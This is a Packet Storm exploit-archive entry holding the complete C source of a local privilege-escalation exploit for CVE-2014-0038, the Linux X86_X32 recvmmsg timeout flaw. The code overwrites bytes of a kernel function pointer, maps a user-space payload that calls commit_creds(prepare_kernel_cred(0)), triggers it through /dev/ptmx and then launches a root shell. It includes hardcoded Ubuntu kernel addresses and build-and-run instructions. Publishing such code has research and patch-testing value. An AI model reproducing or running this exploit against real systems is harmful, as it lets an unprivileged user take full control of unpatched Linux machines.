Lucene search

K
packetstormSaeloPACKETSTORM:125033
HistoryFeb 03, 2014 - 12:00 a.m.

X86_X32 recvmmsg Arbitrary Write Local Root

2014-02-0300:00:00
saelo
packetstormsecurity.com
32

0.0004 Low

EPSS

Percentile

0.4%

`/*  
* Local root exploit for CVE-2014-0038.  
*  
* https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c  
*  
* Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer  
* passed from userspace.  
*  
* Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,  
* if the original byte at that address is known it can be overwritten  
* with known data.  
* If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.  
*  
* Restrictions: The first long at the passed address (tv_sec) has to be positive  
* and the second long (tv_nsec) has to be smaller than 1000000000.  
*  
* Overview: Target the release function pointer of the ptmx_fops structure located in  
* non initialized (and thus writable) kernel memory. Zero out the three most  
* significant bytes and thus turn it into a pointer to an address mappable in  
* user space.  
* The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec  
* is valid).  
* Open /dev/ptmx, close it and enjoy.  
*  
* Not very beautiful but should be fairly reliable if symbols can be resolved.  
*  
* Tested on Ubuntu 13.10  
*  
* gcc timeoutpwn.c -o pwn && ./pwn  
*  
* Written by saelo  
*/  
#define _GNU_SOURCE  
#include <netinet/ip.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <time.h>  
#include <string.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <sys/syscall.h>  
#include <sys/wait.h>  
#include <sys/mman.h>  
  
#define __X32_SYSCALL_BIT 0x40000000  
#undef __NR_recvmmsg  
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)  
  
#define BUFSIZE 200  
#define PAYLOADSIZE 0x2000  
#define FOPS_RELEASE_OFFSET 13*8  
  
/*  
* Adapt these addresses for your need.  
* see /boot/System.map* or /proc/kallsyms  
* These are the offsets from ubuntu 3.11.0-12-generic.  
*/  
#define PTMX_FOPS 0xffffffff81fb30c0LL  
#define TTY_RELEASE 0xffffffff8142fec0LL  
#define COMMIT_CREDS 0xffffffff8108ad40LL  
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL  
  
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);  
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);  
  
/*  
* Match signature of int release(struct inode*, struct file*).  
*  
* See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz  
*/  
int __attribute__((regparm(3)))  
kernel_payload(void* foo, void* bar)  
{  
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;  
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;  
  
*((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer  
commit_creds(prepare_kernel_cred(0));  
  
return -1;  
}  
  
/*  
* Write a zero to the byte at then given address.  
* Only works if the current value is 0xff.  
*/  
void zero_out(long addr)  
{  
int sockfd, retval, port, pid, i;  
struct sockaddr_in sa;  
char buf[BUFSIZE];  
struct mmsghdr msgs;  
struct iovec iovecs;  
  
srand(time(NULL));  
  
port = 1024 + (rand() % (0x10000 - 1024));  
  
sockfd = socket(AF_INET, SOCK_DGRAM, 0);  
if (sockfd == -1) {  
perror("socket()");  
exit(EXIT_FAILURE);  
}  
  
sa.sin_family = AF_INET;  
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
sa.sin_port = htons(port);  
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {  
perror("bind()");  
exit(EXIT_FAILURE);  
}  
  
memset(&msgs, 0, sizeof(msgs));  
iovecs.iov_base = buf;  
iovecs.iov_len = BUFSIZE;  
msgs.msg_hdr.msg_iov = &iovecs;  
msgs.msg_hdr.msg_iovlen = 1;  
  
/*  
* start a seperate process to send a udp message after 255 seconds so the syscall returns,  
* but not after updating the timout struct and writing the remaining time into it.  
* 0xff - 255 seconds = 0x00  
*/  
printf("clearing byte at 0x%lx\n", addr);  
pid = fork();  
if (pid == 0) {  
memset(buf, 0x41, BUFSIZE);  
  
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {  
perror("socket()");  
exit(EXIT_FAILURE);  
}  
  
sa.sin_family = AF_INET;  
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);  
sa.sin_port = htons(port);  
  
printf("waiting 255 seconds...\n");  
for (i = 0; i < 255; i++) {  
if (i % 10 == 0)  
printf("%is/255s\n", i);  
sleep(1);  
}  
  
printf("waking up parent...\n");  
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));  
exit(EXIT_SUCCESS);  
} else if (pid > 0) {  
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);  
if (retval == -1) {  
printf("address can't be written to, not a valid timespec struct\n");  
exit(EXIT_FAILURE);  
}  
waitpid(pid, 0, 0);  
printf("byte zeroed out\n");  
} else {  
perror("fork()");  
exit(EXIT_FAILURE);  
}  
}  
  
int main(int argc, char** argv)  
{  
long code, target;  
int pwn;  
  
/* Prepare payload... */  
printf("preparing payload buffer...\n");  
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);  
memset((void*)code, 0x90, PAYLOADSIZE);  
code += PAYLOADSIZE - 1024;  
memcpy((void*)code, &kernel_payload, 1024);  
  
/*  
* Now clear the three most significant bytes of the fops pointer  
* to the release function.  
* This will make it point into the memory region mapped above.  
*/  
printf("changing kernel pointer to point into controlled buffer...\n");  
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;  
zero_out(target + 7);  
zero_out(target + 6);  
zero_out(target + 5);  
  
/* ... and trigger. */  
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");  
pwn = open("/dev/ptmx", 'r');  
close(pwn);  
  
if (getuid() != 0) {  
printf("failed to get root :(\n");  
exit(EXIT_FAILURE);  
}  
  
printf("got root, enjoy :)\n");  
return execl("/bin/bash", "-sh", NULL);  
}  
  
`